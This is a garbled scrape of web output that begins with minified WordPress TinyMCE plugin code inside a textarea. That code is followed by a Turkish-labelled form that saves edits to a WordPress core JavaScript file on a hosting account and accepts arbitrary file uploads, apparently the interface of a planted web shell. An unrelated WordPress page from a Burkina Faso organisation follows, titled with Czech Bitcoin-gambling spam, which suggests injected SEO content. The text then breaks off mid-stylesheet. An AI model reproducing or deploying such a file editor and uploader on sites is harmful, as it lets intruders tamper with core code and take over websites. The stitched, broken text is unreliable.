n,i,o,a=this.getEl(),e=a.firstChild.nextSibling;c=this,p&amp;&amp;p.ui&amp;&amp;p.ui.autocomplete&amp;&amp;((n=p(e)).on(&quot;keydown&quot;,function(){n.removeAttr(&quot;aria-activedescendant&quot;)}).autocomplete({source:function(e,t){if(o===e.term)t(i);else{if(/^https?:/.test(e.term)||-1!==e.term.indexOf(&quot;.&quot;))return t();p.post(window.ajaxurl,{action:&quot;wp-link-ajax&quot;,page:1,search:e.term,_ajax_linking_nonce:p(&quot;#_ajax_linking_nonce&quot;).val()},function(e){t(i=e)},&quot;json&quot;),o=e.term}},focus:function(e,t){n.attr(&quot;aria-activedescendant&quot;,&quot;mce-wp-autocomplete-&quot;+t.item.ID),e.preventDefault()},select:function(e,t){return n.val(t.item.permalink),p(a.firstChild.nextSibling.nextSibling).val(t.item.title),9===e.keyCode&amp;&amp;void 0!==window.wpLinkL10n&amp;&amp;w(window.wpLinkL10n.linkSelected),!1},open:function(){n.attr(&quot;aria-expanded&quot;,&quot;true&quot;),r.blockHide=!0},close:function(){n.attr(&quot;aria-expanded&quot;,&quot;false&quot;),r.blockHide=!1},minLength:2,position:{my:&quot;left top+2&quot;},messages:{noResults:m(&quot;No results found.&quot;),results:function(e){return h(f(&quot;%d result found. Use up and down arrow keys to navigate.&quot;,&quot;%d results found. Use up and down arrow keys to navigate.&quot;,e),e)}}}).autocomplete(&quot;instance&quot;)._renderItem=function(e,t){var n=void 0!==window.wpLinkL10n?window.wpLinkL10n.noTitle:&quot;&quot;,n=t.title||n;return p(&#039;&lt;li role=&quot;option&quot; id=&quot;mce-wp-autocomplete-&#039;+t.ID+&#039;&quot;&gt;&#039;).append(&quot;&lt;span&gt;&quot;+n+&#039;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;wp-editor-float-right&quot;&gt;&#039;+t.info+&quot;&lt;/span&gt;&quot;).appendTo(e)},n.attr({role:&quot;combobox&quot;,&quot;aria-autocomplete&quot;:&quot;list&quot;,&quot;aria-expanded&quot;:&quot;false&quot;,&quot;aria-owns&quot;:n.autocomplete(&quot;widget&quot;).attr(&quot;id&quot;)}).on(&quot;focus&quot;,function(){var e=n.val();e&amp;&amp;!/^https?:/.test(e)&amp;&amp;n.autocomplete(&quot;search&quot;)}).autocomplete(&quot;widget&quot;).addClass(&quot;wplink-autocomplete&quot;).attr(&quot;role&quot;,&quot;listbox&quot;).removeAttr(&quot;tabindex&quot;).on(&quot;menufocus&quot;,function(e,t){t.item.attr(&quot;aria-selected&quot;,&quot;true&quot;)}).on(&quot;menublur&quot;,function(){p(this).find(&#039;[aria-selected=&quot;true&quot;]&#039;).removeAttr(&quot;aria-selected&quot;)})),L.$(e).on(&quot;keydown&quot;,function(e){13===e.keyCode&amp;&amp;(l.execCommand(&quot;wp_link_apply&quot;),e.preventDefault())})}}),l.on(&quot;wptoolbar&quot;,function(e){var t,n,i,o=l.dom.getParent(e.element,&quot;a&quot;);void 0!==window.wpLink&amp;&amp;window.wpLink.modalOpen?r.tempHide=!0:(r.tempHide=!1,o?(n=(t=l.$(o)).attr(&quot;href&quot;),i=t.attr(&quot;data-wplink-edit&quot;),&quot;_wp_link_placeholder&quot;===n||i?(&quot;_wp_link_placeholder&quot;===n||c.getURL()||c.setURL(n),e.element=o,e.toolbar=r):n&amp;&amp;!t.find(&quot;img&quot;).length&amp;&amp;(d.setURL(n),e.element=o,e.toolbar=a,&quot;true&quot;===t.attr(&quot;data-wplink-url-error&quot;)?a.$el.find(&quot;.wp-link-preview a&quot;).addClass(&quot;wplink-url-error&quot;):(a.$el.find(&quot;.wp-link-preview a&quot;).removeClass(&quot;wplink-url-error&quot;),k=!1))):r.visible()&amp;&amp;l.execCommand(&quot;wp_link_cancel&quot;))}),l.addButton(&quot;wp_link_edit&quot;,{tooltip:&quot;Edit|button&quot;,icon:&quot;dashicon dashicons-edit&quot;,cmd:&quot;WP_Link&quot;}),l.addButton(&quot;wp_link_remove&quot;,{tooltip:&quot;Remove link&quot;,icon:&quot;dashicon dashicons-editor-unlink&quot;,cmd:&quot;wp_unlink&quot;}),l.addButton(&quot;wp_link_advanced&quot;,{tooltip:&quot;Link options&quot;,icon:&quot;dashicon dashicons-admin-generic&quot;,onclick:function(){var e,t;void 0!==window.wpLink&amp;&amp;(e=c.getURL()||null,t=c.getLinkText()||null,window.wpLink.open(l.id,e,t),r.tempHide=!0,r.hide())}}),l.addButton(&quot;wp_link_apply&quot;,{tooltip:&quot;Apply&quot;,icon:&quot;dashicon dashicons-editor-break&quot;,cmd:&quot;wp_link_apply&quot;,classes:&quot;widget btn primary&quot;}),{close:function(){r.tempHide=!1,l.execCommand(&quot;wp_link_cancel&quot;)},checkLink:g}})}(window.tinymce);
// Source: wp-includes/js/tinymce/plugins/wptextpattern/plugin.min.js
!function(u,p){function h(e){return e.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,&quot;\\$&amp;&quot;)}u.Env.ie&amp;&amp;u.Env.ie&lt;9||u.PluginManager.add(&quot;wptextpattern&quot;,function(s){var f,d=u.util.VK,e=s.settings.wptextpattern||{},t=e.space||[{regExp:/^[*-]\s/,cmd:&quot;InsertUnorderedList&quot;},{regExp:/^1[.)]\s/,cmd:&quot;InsertOrderedList&quot;}],l=e.enter||[{start:&quot;##&quot;,format:&quot;h2&quot;},{start:&quot;###&quot;,format:&quot;h3&quot;},{start:&quot;####&quot;,format:&quot;h4&quot;},{start:&quot;#####&quot;,format:&quot;h5&quot;},{start:&quot;######&quot;,format:&quot;h6&quot;},{start:&quot;&gt;&quot;,format:&quot;blockquote&quot;},{regExp:/^(-){3,}$/,element:&quot;hr&quot;}],a=e.inline||[{delimiter:&quot;`&quot;,format:&quot;code&quot;}];function c(){var r,i,o,t,d,l,e=s.selection.getRng(),n=e.startContainer,c=e.startOffset;n&amp;&amp;3===n.nodeType&amp;&amp;n.data.length&amp;&amp;c&amp;&amp;(d=n.data.slice(0,c),l=n.data.charAt(c-1),u.each(a,function(e){if(l===e.delimiter.slice(-1)){var t=h(e.delimiter),n=e.delimiter.charAt(0),t=new RegExp(&quot;(.*)&quot;+t+&quot;.+&quot;+t+&quot;$&quot;),t=d.match(t);if(t){r=t[1].length,i=c-e.delimiter.length;var t=d.charAt(r-1),a=d.charAt(r+e.delimiter.length);if(!(r&amp;&amp;/\S/.test(t)&amp;&amp;(/\s/.test(a)||t===n)||new RegExp(&quot;^[\\s&quot;+h(n)+&quot;]+$&quot;).test(d.slice(r,i))))return o=e,!1}}}),o)&amp;&amp;(e=s.formatter.get(o.format))&amp;&amp;e[0].inline&amp;&amp;(s.undoManager.add(),s.undoManager.transact(function(){n.insertData(c,&quot;\ufeff&quot;),n=n.splitText(r),t=n.splitText(c-r),n.deleteData(0,o.delimiter.length),n.deleteData(n.data.length-o.delimiter.length,o.delimiter.length),s.formatter.apply(o.format,{},n),s.selection.setCursorLocation(t,1)}),p(function(){f=&quot;space&quot;,s.once(&quot;selectionchange&quot;,function(){var e;t&amp;&amp;-1!==(e=t.data.indexOf(&quot;\ufeff&quot;))&amp;&amp;t.deleteData(e,e+1)})}))}function g(e){var t,n=s.dom.getParent(e,&quot;p&quot;);if(n){for(;(t=n.firstChild)&amp;&amp;3!==t.nodeType;)n=t;if(t)return t=t.data?t:t.nextSibling&amp;&amp;3===t.nextSibling.nodeType?t.nextSibling:null}}function m(){var n,a,r=s.selection.getRng(),i=r.startContainer;i&amp;&amp;g(i)===i&amp;&amp;(n=i.parentNode,a=i.data,u.each(t,function(e){var t=a.match(e.regExp);if(t&amp;&amp;r.startOffset===t[0].length)return s.undoManager.add(),s.undoManager.transact(function(){i.deleteData(0,t[0].length),n.innerHTML||n.appendChild(document.createElement(&quot;br&quot;)),s.selection.setCursorLocation(n),s.execCommand(e.cmd)}),p(function(){f=&quot;space&quot;}),!1}))}s.on(&quot;selectionchange&quot;,function(){f=null}),s.on(&quot;keydown&quot;,function(e){if((f&amp;&amp;27===e.keyCode||&quot;space&quot;===f&amp;&amp;e.keyCode===d.BACKSPACE)&amp;&amp;(s.undoManager.undo(),e.preventDefault(),e.stopImmediatePropagation()),!d.metaKeyPressed(e))if(e.keyCode===d.ENTER){var t,n,a,r=s.selection.getRng().startContainer,i=g(r),o=l.length;if(i){for(t=i.data;o--;)if(l[o].start){if(0===t.indexOf(l[o].start)){n=l[o];break}}else if(l[o].regExp&amp;&amp;l[o].regExp.test(t)){n=l[o];break}!n||i===r&amp;&amp;u.trim(t)===n.start||s.once(&quot;keyup&quot;,function(){s.undoManager.add(),s.undoManager.transact(function(){var e;n.format?(s.formatter.apply(n.format,{},i),i.replaceData(0,i.data.length,(e=i.data.slice(n.start.length))?e.replace(/^\s+/,&quot;&quot;):&quot;&quot;)):n.element&amp;&amp;(a=i.parentNode&amp;&amp;i.parentNode.parentNode)&amp;&amp;a.replaceChild(document.createElement(n.element),i.parentNode)}),p(function(){f=&quot;enter&quot;})})}}else e.keyCode===d.SPACEBAR?p(m):47&lt;e.keyCode&amp;&amp;!(91&lt;=e.keyCode&amp;&amp;e.keyCode&lt;=93)&amp;&amp;p(c)},!0)})}(window.tinymce,window.setTimeout);
// Source: wp-includes/js/tinymce/plugins/wpview/plugin.min.js
!function(c){c.PluginManager.add(&quot;wpview&quot;,function(o){function e(){}var n=window.wp;return n&amp;&amp;n.mce&amp;&amp;n.mce.views&amp;&amp;(o.on(&quot;init&quot;,function(){var e=window.MutationObserver||window.WebKitMutationObserver;e&amp;&amp;new e(function(){o.fire(&quot;wp-body-class-change&quot;)}).observe(o.getBody(),{attributes:!0,attributeFilter:[&quot;class&quot;]}),o.on(&quot;wp-body-class-change&quot;,function(){var n=o.getBody().className;o.$(&#039;iframe[class=&quot;wpview-sandbox&quot;]&#039;).each(function(e,t){if(!t.src||&#039;javascript:&quot;&quot;&#039;===t.src)try{t.contentWindow.document.body.className=n}catch(e){}})})}),o.on(&quot;beforesetcontent&quot;,function(e){var t;if(e.selection||n.mce.views.unbind(),e.content){if(!e.load&amp;&amp;(t=o.selection.getNode())&amp;&amp;t!==o.getBody()&amp;&amp;/^\s*https?:\/\/\S+\s*$/i.test(e.content)){if(!(t=o.dom.getParent(t,&quot;p&quot;))||!/^[\s\uFEFF\u00A0]*$/.test(o.$(t).text()||&quot;&quot;))return;t.innerHTML=&quot;&quot;}e.content=n.mce.views.setMarkers(e.content,o)}}),o.on(&quot;setcontent&quot;,function(){n.mce.views.render()}),o.on(&quot;preprocess hide&quot;,function(e){o.$(&quot;div[data-wpview-text], p[data-wpview-marker]&quot;,e.node).each(function(e,t){t.innerHTML=&quot;.&quot;})},!0),o.on(&quot;postprocess&quot;,function(e){e.content=a(e.content)}),o.on(&quot;beforeaddundo&quot;,function(e){var t=e.level.content||e.level.fragments&amp;&amp;e.level.fragments.join(&quot;&quot;),n=e.lastLevel?e.lastLevel.content||e.lastLevel.fragments&amp;&amp;e.lastLevel.fragments.join(&quot;&quot;):o.startContent;t&amp;&amp;n&amp;&amp;-1!==t.indexOf(&quot; data-wpview-&quot;)&amp;&amp;-1!==n.indexOf(&quot; data-wpview-&quot;)&amp;&amp;a(n)===a(t)&amp;&amp;e.preventDefault()}),o.on(&quot;drop objectselected&quot;,function(e){i(e.targetClone)&amp;&amp;(e.targetClone=o.getDoc().createTextNode(window.decodeURIComponent(o.dom.getAttrib(e.targetClone,&quot;data-wpview-text&quot;))))}),o.on(&quot;pastepreprocess&quot;,function(e){var t=e.content;t&amp;&amp;(t=c.trim(t.replace(/&lt;[^&gt;]+&gt;/g,&quot;&quot;)),/^https?:\/\/\S+$/i.test(t))&amp;&amp;(e.content=t)}),o.on(&quot;resolvename&quot;,function(e){i(e.target)&amp;&amp;(e.name=o.dom.getAttrib(e.target,&quot;data-wpview-type&quot;)||&quot;object&quot;)}),o.on(&quot;click keyup&quot;,function(){var e=o.selection.getNode();i(e)&amp;&amp;o.dom.getAttrib(e,&quot;data-mce-selected&quot;)&amp;&amp;e.setAttribute(&quot;data-mce-selected&quot;,&quot;2&quot;)}),o.addButton(&quot;wp_view_edit&quot;,{tooltip:&quot;Edit|button&quot;,icon:&quot;dashicon dashicons-edit&quot;,onclick:function(){var e=o.selection.getNode();i(e)&amp;&amp;n.mce.views.edit(o,e)}}),o.addButton(&quot;wp_view_remove&quot;,{tooltip:&quot;Remove&quot;,icon:&quot;dashicon dashicons-no&quot;,onclick:function(){o.fire(&quot;cut&quot;)}}),o.once(&quot;preinit&quot;,function(){var t;o.wp&amp;&amp;o.wp._createToolbar&amp;&amp;(t=o.wp._createToolbar([&quot;wp_view_edit&quot;,&quot;wp_view_remove&quot;]),o.on(&quot;wptoolbar&quot;,function(e){!e.collapsed&amp;&amp;i(e.element)&amp;&amp;(e.toolbar=t)}))}),o.wp=o.wp||{},o.wp.getView=e,o.wp.setViewCursor=e),{getView:e};function i(e){return o.dom.hasClass(e,&quot;wpview&quot;)}function a(e){function t(e,t){return&quot;&lt;p&gt;&quot;+window.decodeURIComponent(t)+&quot;&lt;/p&gt;&quot;}return e&amp;&amp;-1!==e.indexOf(&quot; data-wpview-&quot;)?e.replace(/&lt;div[^&gt;]+data-wpview-text=&quot;([^&quot;]+)&quot;[^&gt;]*&gt;(?:\.|[\s\S]+?wpview-end[^&gt;]+&gt;\s*&lt;\/span&gt;\s*)?&lt;\/div&gt;/g,t).replace(/&lt;p[^&gt;]+data-wpview-marker=&quot;([^&quot;]+)&quot;[^&gt;]*&gt;[\s\S]*?&lt;\/p&gt;/g,t):e}})}(window.tinymce);</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/scs/wp-includes/js/tinymce/wp-tinymce.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="https://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>BTC hrát: aplikace a mobilní průvodce | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fbtc-hrat-aplikace-a-mobilni-pruvodce%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fbtc-hrat-aplikace-a-mobilni-pruvodce%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1da37f7d6ed*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit 